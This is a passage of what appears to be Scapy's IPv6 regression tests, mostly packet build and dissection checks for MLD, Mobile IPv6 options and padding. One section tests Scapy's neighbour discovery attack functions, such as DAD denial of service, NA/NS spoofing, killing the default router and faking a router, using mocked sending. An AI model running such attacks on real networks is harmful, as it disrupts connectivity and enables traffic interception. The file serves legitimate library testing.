b'`\x00\x00\x00\x00M\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x00\x05\x02\x00\x00\x01\x00\x8f\x00\x1a\xa1\x00\x00\x00\x02\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x05\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01scapy' p = IPv6(s) assert ICMPv6MLReport2 in p and p.records_number == 2 = ICMPv6MLReport2 and ICMPv6MLDMultAddrRec - dissection z = b'33\x00\x00\x00\x16\xd0P\x99V\xdd\xf9\x86\xdd`\x00\x00\x00\x00\x1c:\x01\xfe\x80\x00\x00\x00\x00\x00\x00q eX\x98\x86\xfa\x88\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x8f\x00\x13\x4d\x00\x00\x00\x01\x04\x00\x00\x00\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xffR\xf3\xe1' w = Ether(z) assert len(w.records) == 1 assert isinstance(w.records[0], ICMPv6MLDMultAddrRec) assert w.records[0].dst == "ff02::1:ff52:f3e1" = Check answers q = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLQuery2() a = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLReport2() assert a.answers(q) ############ ############ + IPv6 attacks = Define test utilities from unittest import mock @mock.patch("scapy.layers.inet6.sniff") @mock.patch("scapy.layers.inet6.sendp") def test_attack(function, pktlist, sendp_mock, sniff_mock, options=()): pktlist = [Ether(raw(x)) for x in pktlist] ret_list = [] def _fake_sniff(lfilter=None, prn=None, **kwargs): for p in pktlist: if lfilter and lfilter(p) and prn: prn(p) sniff_mock.side_effect = _fake_sniff def _fake_sendp(pkt, *args, **kwargs): ret_list.append(Ether(raw(pkt))) sendp_mock.side_effect = _fake_sendp function(*options) return ret_list = Test NDP_Attack_DAD_DoS_via_NS data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:00:11:11')/IPv6(src="::", dst="ff02::1:ff00:1111")/ICMPv6ND_NS(tgt="ffff::1111", code=17, res=3758096385), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:5d:c3:53')/IPv6(src="::", dst="ff02::1:ff5d:c353")/ICMPv6ND_NS(tgt="b643:44c3:f659:f8e6:31c0:6437:825d:c353"), Ether()/IP()/ICMP()] results = test_attack(NDP_Attack_DAD_DoS_via_NS, data) assert len(results) == 2 a = results[0][IPv6] assert a[IPv6].src == "::" assert a[IPv6].dst == "ff02::1:ff00:1111" assert a[IPv6].hlim == 255 assert a[ICMPv6ND_NS].tgt == "ffff::1111" b = results[1][IPv6] assert b[IPv6].src == "::" assert b[IPv6].dst == "ff02::1:ff5d:c353" assert b[IPv6].hlim == 255 assert b[ICMPv6ND_NS].tgt == "b643:44c3:f659:f8e6:31c0:6437:825d:c353" = Test NDP_Attack_DAD_DoS_via_NA data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:00:11:11')/IPv6(src="::", dst="ff02::1:ff00:1111")/ICMPv6ND_NS(tgt="ffff::1111", code=17, res=3758096385), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:5d:c3:53')/IPv6(src="::", dst="ff02::1:ff5d:c353")/ICMPv6ND_NS(tgt="b643:44c3:f659:f8e6:31c0:6437:825d:c353"), Ether()/IP()/ICMP()] results = test_attack(NDP_Attack_DAD_DoS_via_NA, data, options=(None, None, None, "ab:ab:ab:ab:ab:ab")) assert len(results) == 2 results[0].dst = "ff:ff:ff:ff:ff:ff" results[1].dst = "ff:ff:ff:ff:ff:ff" a = results[0] assert a[Ether].dst == "ff:ff:ff:ff:ff:ff" assert a[Ether].src == "ab:ab:ab:ab:ab:ab" assert a[IPv6].src == "ffff::1111" assert a[IPv6].dst == "ff02::1:ff00:1111" assert a[IPv6].hlim == 255 assert a[ICMPv6ND_NA].tgt == "ffff::1111" assert a[ICMPv6NDOptDstLLAddr].lladdr == "ab:ab:ab:ab:ab:ab" b = results[1] assert b[Ether].dst == "ff:ff:ff:ff:ff:ff" assert b[Ether].src == "ab:ab:ab:ab:ab:ab" assert b[IPv6].src == "b643:44c3:f659:f8e6:31c0:6437:825d:c353" assert b[IPv6].dst == "ff02::1:ff5d:c353" assert b[IPv6].hlim == 255 assert b[ICMPv6ND_NA].tgt == "b643:44c3:f659:f8e6:31c0:6437:825d:c353" assert b[ICMPv6NDOptDstLLAddr].lladdr == "ab:ab:ab:ab:ab:ab" = Test NDP_Attack_NA_Spoofing data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:d4:e5:f6')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="ff02::1:ffd4:e5f6")/ICMPv6ND_NS(tgt="ff02::1:ffd4:e5f6", code=171, res=3758096), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:e4:68:c9:4f')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="fe9c:98b0:52b5:7033:5db0:394f:e468:c94f")/ICMPv6ND_NS(), Ether()/IP()/ICMP()] results = test_attack(NDP_Attack_NA_Spoofing, data, options=(None, None, None, "ff:ff:ff:ff:ff:ff", None)) assert len(results) == 2 a = results[0] assert a[Ether].dst == "aa:aa:aa:aa:aa:aa" assert a[Ether].src == "ff:ff:ff:ff:ff:ff" assert a[IPv6].src == "ff02::1:ffd4:e5f6" assert a[IPv6].dst == "753a:727c:97b5:f71d:51ea:3901:ab52:e110" assert a[IPv6].hlim == 255 assert a[ICMPv6ND_NA].R == 0 assert a[ICMPv6ND_NA].S == 1 assert a[ICMPv6ND_NA].O == 1 assert a[ICMPv6ND_NA].tgt == "ff02::1:ffd4:e5f6" assert a[ICMPv6NDOptDstLLAddr].lladdr == "ff:ff:ff:ff:ff:ff" b = results[1] assert b[Ether].dst == "aa:aa:aa:aa:aa:aa" assert b[Ether].src == "ff:ff:ff:ff:ff:ff" assert b[IPv6].src == "::" assert b[IPv6].dst == "753a:727c:97b5:f71d:51ea:3901:ab52:e110" assert b[IPv6].hlim == 255 assert b[ICMPv6ND_NA].R == 0 assert b[ICMPv6ND_NA].S == 1 assert b[ICMPv6ND_NA].O == 1 assert b[ICMPv6ND_NA].tgt == "::" assert b[ICMPv6NDOptDstLLAddr].lladdr == "ff:ff:ff:ff:ff:ff" = Test NDP_Attack_Kill_Default_Router data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:d4:e5:f6')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="ff02::1:ffd4:e5f6")/ICMPv6ND_RA(routerlifetime=1), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ab:52:e1:10')/IPv6(src="fe9c:98b0:52b5:7033:5db0:394f:e468:c94f", dst="753a:727c:97b5:f71d:51ea:3901:ab52:e110")/ICMPv6ND_RA(routerlifetime=1), Ether()/IP()/"RANDOM"] results = test_attack(NDP_Attack_Kill_Default_Router, data) assert len(results) == 2 a = results[0][IPv6] assert a[IPv6].src == "753a:727c:97b5:f71d:51ea:3901:ab52:e110" assert a[IPv6].dst == "ff02::1" assert a[IPv6].hlim == 255 assert a[ICMPv6ND_RA].M == 0 assert a[ICMPv6ND_RA].O == 0 assert a[ICMPv6ND_RA].H == 0 assert a[ICMPv6ND_RA].P == 0 assert a[ICMPv6ND_RA].routerlifetime == 0 assert a[ICMPv6ND_RA].reachabletime == 0 assert a[ICMPv6ND_RA].retranstimer == 0 assert a[ICMPv6NDOptSrcLLAddr].lladdr == "aa:aa:aa:aa:aa:aa" b = results[1][IPv6] assert b[IPv6].src == "fe9c:98b0:52b5:7033:5db0:394f:e468:c94f" assert b[IPv6].dst == "ff02::1" assert b[IPv6].hlim == 255 assert b[ICMPv6ND_RA].M == 0 assert b[ICMPv6ND_RA].O == 0 assert b[ICMPv6ND_RA].H == 0 assert b[ICMPv6ND_RA].P == 0 assert b[ICMPv6ND_RA].routerlifetime == 0 assert b[ICMPv6ND_RA].reachabletime == 0 assert b[ICMPv6ND_RA].retranstimer == 0 assert b[ICMPv6NDOptSrcLLAddr].lladdr == "aa:aa:aa:aa:aa:aa" = Test NDP_Attack_Fake_Router ra = Ether()/IPv6()/ICMPv6ND_RA() ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") rad = Ether(raw(ra)) data = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ab:52:e1:10')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="ff02::1:ffd4:e5f6")/ICMPv6ND_RS(code=11, res=3758096), Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ab:52:e1:10')/IPv6(src="753a:727c:97b5:f71d:51ea:3901:ab52:e110", dst="fe9c:98b0:52b5:7033:5db0:394f:e468:c94f")/ICMPv6ND_RS(), Ether()/IP()/ICMP()] results = test_attack(NDP_Attack_Fake_Router, data, options=(ra,)) assert len(results) == 2 assert results[0] == rad assert results[1] == rad = Test NDP_Attack_NS_Spoofing r = test_attack(NDP_Attack_NS_Spoofing, [], options=("aa:aa:aa:aa:aa:aa", "753a:727c:97b5:f71d:51ea:3901:ab52:e110", "2001:db8::1", 'e4a0:654b:1a24:1b15:761d:2e5d:245d:ba83', "cc:cc:cc:cc:cc:cc", "dd:dd:dd:dd:dd:dd"))[0] assert r[Ether].dst == "dd:dd:dd:dd:dd:dd" assert r[Ether].src == "cc:cc:cc:cc:cc:cc" assert r[IPv6].hlim == 255 assert r[IPv6].src == "753a:727c:97b5:f71d:51ea:3901:ab52:e110" assert r[IPv6].dst == "e4a0:654b:1a24:1b15:761d:2e5d:245d:ba83" assert r[ICMPv6ND_NS].tgt == "2001:db8::1" assert r[ICMPv6NDOptSrcLLAddr].lladdr == "aa:aa:aa:aa:aa:aa" # Below is our Homework : here is the mountain ... # ########### ICMPv6MLReport Class #################################### ########### ICMPv6MLDone Class ###################################### ########### ICMPv6ND_Redirect Class ################################# ########### ICMPv6NDOptSrcAddrList Class ############################ ########### ICMPv6NDOptTgtAddrList Class ############################ ########### ICMPv6ND_INDSol Class ################################### ########### ICMPv6ND_INDAdv Class ################################### ############ ############ + Home Agent Address Discovery = in6_getha() in6_getha('2001:db8::') == '2001:db8::fdff:ffff:ffff:fffe' = ICMPv6HAADRequest - build/dissection p = IPv6(raw(IPv6(dst=in6_getha('2001:db8::'), src='2001:db8::1')/ICMPv6HAADRequest(id=42))) p.cksum == 0x9620 and p.dst == '2001:db8::fdff:ffff:ffff:fffe' and p.R == 1 = ICMPv6HAADReply - build/dissection p = IPv6(raw(IPv6(dst='2001:db8::1', src='2001:db8::42')/ICMPv6HAADReply(id=42, addresses=['2001:db8::2', '2001:db8::3']))) p.cksum = 0x3747 and p.addresses == [ '2001:db8::2', '2001:db8::3' ] = ICMPv6HAADRequest / ICMPv6HAADReply - build/dissection a=ICMPv6HAADRequest(id=42) b=ICMPv6HAADReply(id=42) not a < b and a > b ############ ############ + Mobile Prefix Solicitation/Advertisement = ICMPv6MPSol - build (default values) s = b'`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00m\xbb\x00\x00\x00\x00' raw(IPv6()/ICMPv6MPSol()) == s = ICMPv6MPSol - dissection (default values) p = IPv6(s) p[ICMPv6MPSol].type == 146 and p[ICMPv6MPSol].cksum == 0x6dbb and p[ICMPv6MPSol].id == 0 = ICMPv6MPSol - build s = b'`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00(\x08\x00\x08\x00\x00' raw(IPv6()/ICMPv6MPSol(cksum=0x2808, id=8)) == s = ICMPv6MPSol - dissection p = IPv6(s) p[ICMPv6MPSol].cksum == 0x2808 and p[ICMPv6MPSol].id == 8 = ICMPv6MPAdv - build (default values) s = b'`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00\xa8\xd6\x00\x00\x80\x00\x03\x04@\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(IPv6()/ICMPv6MPAdv()/ICMPv6NDOptPrefixInfo()) == s = ICMPv6MPAdv - dissection (default values) p = IPv6(s) p[ICMPv6MPAdv].type == 147 and p[ICMPv6MPAdv].cksum == 0xa8d6 and p[ICMPv6NDOptPrefixInfo].prefix == '::' = ICMPv6MPAdv - build s = b'`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00(\x07\x00*@\x00\x03\x04@@\xff\xff\xff\xff\x00\x00\x00\x0c\x00\x00\x00\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' raw(IPv6()/ICMPv6MPAdv(cksum=0x2807, flags=1, id=42)/ICMPv6NDOptPrefixInfo(prefix='2001:db8::1', L=0, preferredlifetime=12)) == s = ICMPv6MPAdv - dissection p = IPv6(s) p[ICMPv6MPAdv].cksum == 0x2807 and p[ICMPv6MPAdv].flags == 1 and p[ICMPv6MPAdv].id == 42 and p[ICMPv6NDOptPrefixInfo].prefix == '2001:db8::1' and p[ICMPv6NDOptPrefixInfo].preferredlifetime == 12 ############ ############ + Type 2 Routing Header = IPv6ExtHdrRouting - type 2 - build/dissection p = IPv6(raw(IPv6(dst='2001:db8::1', src='2001:db8::2')/IPv6ExtHdrRouting(type=2, addresses=['2001:db8::3'])/ICMPv6EchoRequest())) p.type == 2 and len(p.addresses) == 1 and p.cksum == 0x2446 = IPv6ExtHdrRouting - type 2 - hashret p = IPv6()/IPv6ExtHdrRouting(addresses=["2001:db8::1", "2001:db8::2"])/ICMPv6EchoRequest() p.hashret() == b" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00\x00" ############ ############ + Mobility Options - Binding Refresh Advice = MIP6OptBRAdvice - build (default values) s = b'\x02\x02\x00\x00' raw(MIP6OptBRAdvice()) == s = MIP6OptBRAdvice - dissection (default values) p = MIP6OptBRAdvice(s) p.otype == 2 and p.olen == 2 and p.rinter == 0 = MIP6OptBRAdvice - build s = b'\x03*\n\xf7' raw(MIP6OptBRAdvice(otype=3, olen=42, rinter=2807)) == s = MIP6OptBRAdvice - dissection p = MIP6OptBRAdvice(s) p.otype == 3 and p.olen == 42 and p.rinter == 2807 ############ ############ + Mobility Options - Alternate Care-of Address = MIP6OptAltCoA - build (default values) s = b'\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(MIP6OptAltCoA()) == s = MIP6OptAltCoA - dissection (default values) p = MIP6OptAltCoA(s) p.otype == 3 and p.olen == 16 and p.acoa == '::' = MIP6OptAltCoA - build s = b'*\x08 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' raw(MIP6OptAltCoA(otype=42, olen=8, acoa='2001:db8::1')) == s = MIP6OptAltCoA - dissection p = MIP6OptAltCoA(s) p.otype == 42 and p.olen == 8 and p.acoa == '2001:db8::1' ############ ############ + Mobility Options - Nonce Indices = MIP6OptNonceIndices - build (default values) s = b'\x04\x10\x00\x00\x00\x00' raw(MIP6OptNonceIndices()) == s = MIP6OptNonceIndices - dissection (default values) p = MIP6OptNonceIndices(s) p.otype == 4 and p.olen == 16 and p.hni == 0 and p.coni == 0 = MIP6OptNonceIndices - build s = b'\x04\x12\x00\x13\x00\x14' raw(MIP6OptNonceIndices(olen=18, hni=19, coni=20)) == s = MIP6OptNonceIndices - dissection p = MIP6OptNonceIndices(s) p.hni == 19 and p.coni == 20 ############ ############ + Mobility Options - Binding Authentication Data = MIP6OptBindingAuthData - build (default values) s = b'\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(MIP6OptBindingAuthData()) == s = MIP6OptBindingAuthData - dissection (default values) p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 16 and p.authenticator == 0 = MIP6OptBindingAuthData - build s = b'\x05*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\xf7' raw(MIP6OptBindingAuthData(olen=42, authenticator=2807)) == s = MIP6OptBindingAuthData - dissection p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 42 and p.authenticator == 2807 ############ ############ + Mobility Options - Mobile Network Prefix = MIP6OptMobNetPrefix - build (default values) s = b'\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(MIP6OptMobNetPrefix()) == s = MIP6OptMobNetPrefix - dissection (default values) p = MIP6OptMobNetPrefix(s) p.otype == 6 and p.olen == 18 and p.plen == 64 and p.prefix == '::' = MIP6OptMobNetPrefix - build s = b'\x06*\x02 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(MIP6OptMobNetPrefix(olen=42, reserved=2, plen=32, prefix='2001:db8::')) == s = MIP6OptMobNetPrefix - dissection p = MIP6OptMobNetPrefix(s) p.olen == 42 and p.reserved == 2 and p.plen == 32 and p.prefix == '2001:db8::' ############ ############ + Mobility Options - Link-Layer Address (MH-LLA) = MIP6OptLLAddr - basic build raw(MIP6OptLLAddr()) == b'\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' = MIP6OptLLAddr - basic dissection p = MIP6OptLLAddr(b'\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00') p.otype == 7 and p.olen == 7 and p.ocode == 2 and p.pad == 0 and p.lla == "00:00:00:00:00:00" = MIP6OptLLAddr - build with specific values raw(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) == b'\x07*\x04\xff\xee\xee\xee\xee\xee\xee' = MIP6OptLLAddr - dissection with specific values p = MIP6OptLLAddr(b'\x07*\x04\xff\xee\xee\xee\xee\xee\xee') raw(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) p.otype == 7 and p.olen == 42 and p.ocode == 4 and p.pad == 0xff and p.lla == "ee:ee:ee:ee:ee:ee" ############ ############ + Mobility Options - Mobile Node Identifier = MIP6OptMNID - basic build raw(MIP6OptMNID()) == b'\x08\x01\x01' = MIP6OptMNID - basic dissection p = MIP6OptMNID(b'\x08\x01\x01') p.otype == 8 and p.olen == 1 and p.subtype == 1 and p.id == b"" = MIP6OptMNID - build with specific values raw(MIP6OptMNID(subtype=42, id="someid")) == b'\x08\x07*someid' = MIP6OptMNID - dissection with specific values p = MIP6OptMNID(b'\x08\x07*someid') p.otype == 8 and p.olen == 7 and p.subtype == 42 and p.id == b"someid" ############ ############ + Mobility Options - Message Authentication = MIP6OptMsgAuth - basic build raw(MIP6OptMsgAuth()) == b'\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' = MIP6OptMsgAuth - basic dissection p = MIP6OptMsgAuth(b'\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA') p.otype == 9 and p.olen == 17 and p.subtype == 1 and p.mspi == 0 and p.authdata == b"A"*12 = MIP6OptMsgAuth - build with specific values raw(MIP6OptMsgAuth(authdata="B"*16, mspi=0xeeeeeeee, subtype=0xff)) == b'\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB' = MIP6OptMsgAuth - dissection with specific values p = MIP6OptMsgAuth(b'\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB') p.otype == 9 and p.olen == 21 and p.subtype == 255 and p.mspi == 0xeeeeeeee and p.authdata == b"B"*16 ############ ############ + Mobility Options - Replay Protection = MIP6OptReplayProtection - basic build raw(MIP6OptReplayProtection()) == b'\n\x08\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - basic dissection p = MIP6OptReplayProtection(b'\n\x08\x00\x00\x00\x00\x00\x00\x00\x00') p.otype == 10 and p.olen == 8 and p.timestamp == 0 = MIP6OptReplayProtection - build with specific values s = raw(MIP6OptReplayProtection(olen=42, timestamp=(72*31536000)<<32)) s == b'\n*\x87V|\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - dissection with specific values p = MIP6OptReplayProtection(s) p.otype == 10 and p.olen == 42 and p.timestamp == 9752118382559232000 p.fields_desc[-1].i2repr("", p.timestamp) == 'Mon, 13 Dec 1971 23:50:39 +0000 (9752118382559232000)' ############ ############ + Mobility Options - CGA Parameters = MIP6OptCGAParams ############ ############ + Mobility Options - Signature = MIP6OptSignature ############ ############ + Mobility Options - Permanent Home Keygen Token = MIP6OptHomeKeygenToken ############ ############ + Mobility Options - Care-of Test Init = MIP6OptCareOfTestInit ############ ############ + Mobility Options - Care-of Test = MIP6OptCareOfTest ############ ############ + Mobility Options - Automatic Padding - MIP6OptBRAdvice = Mobility Options - Automatic Padding - MIP6OptBRAdvice a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptBRAdvice()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x02\x02\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptAltCoA = Mobility Options - Automatic Padding - MIP6OptAltCoA a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x05\x00\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x04\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x03\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptNonceIndices = Mobility Options - Automatic Padding - MIP6OptNonceIndices a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptNonceIndices()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptNonceIndices()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' a and b and c and d and e and g and 